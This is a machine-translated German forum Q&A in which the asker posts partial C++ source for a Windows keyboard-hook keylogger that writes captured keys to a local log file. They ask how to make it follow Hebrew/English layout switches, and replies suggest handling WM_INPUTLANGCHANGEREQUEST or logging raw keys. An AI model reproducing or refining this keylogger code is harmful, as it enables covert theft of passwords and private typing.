2016-03-22 6 views
2

Ich versuche, einen Keylogger zu schreiben, aber ich habe ein Problem, wenn ich eine Sprache wechseln.Tastatur Hook - verschiedene Sprachen - C++

Ich habe Hebräisch und Englisch in meiner Tastatur.

Es erkennt gut Hebräisch und Englisch getrennt, das Problem ist, wenn ich Sprache (Alt + Shift) ändern, so bleibt es in der ersten Sprache.

Code:

LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) 
{ 
char ch; 
if (((DWORD)lParam & 0x40000000) && (HC_ACTION == nCode)) 
{ 
    if ((wParam == VK_SPACE) || (wParam == VK_RETURN) || (wParam >= 0x2f) && (wParam <= 0x100)) 
    { 
     std::string toPrint = "nCode = " + std::to_string(nCode); 
     std::string toPrint2 = "wParam = " + std::to_string(wParam); 
     std::string toPrint3 = "wParam = " + std::to_string(lParam); 

     OutputDebugStringA(toPrint.c_str()); 
     OutputDebugStringA(toPrint2.c_str()); 
     OutputDebugStringA(toPrint3.c_str()); 

     f1 = fopen("c:\\a\\log.txt", "a+"); 
     if (wParam == VK_RETURN) 
     { 
      ch = '\n'; 
      fwrite(&ch, 1, 1, f1); 
     } 
     else 
     { 
      BYTE ks[256]; 
      GetKeyboardState(ks); 
      WORD w; 
      UINT scan; 
      scan = 0; 
      ToAscii(wParam, scan, ks, &w, 0); 
      ch = char(w); 
      fwrite(&ch, 1, 1, f1); 
     } 
     fclose(f1); 
    } 
} 

sah ich, dass nCode, wParam und lParam Parameter die gleichen Werte in den beiden Sprachen haben.

Irgendwelche Ideen?

Danke!

+0

Hört es auf, die Schlüssel zu haken oder nur die Ergebnisse nicht anzuzeigen? – Jacobr365

+0

Können Sie einen Haken setzen, wo der Keylogger diese spezielle Kombination erkennen und dann die Sprachen wechseln kann, sobald er auftritt? Oder, vielleicht können Sie einfach die rohe Tasteneingabe aufzeichnen und dann die Rohdaten nach der Beschriftung bearbeiten, wenn der Schalter gedrückt wurde. – VermillionAzure

+0

Es hört nicht auf, die Tasten zu hängen ... zeigen Sie einfach den Schlüssel in der ersten Sprache an und nicht die aktuelle Sprache. Ich habe Windows 8 – 1337

Antwort

0

Ich denke, dass Sie die Nachricht WM_INPUTLANGCHANGEREQUEST verarbeiten möchten. Ich nehme an, Sie werden immer die Sprachänderung akzeptieren wollen.

Verwandte Themen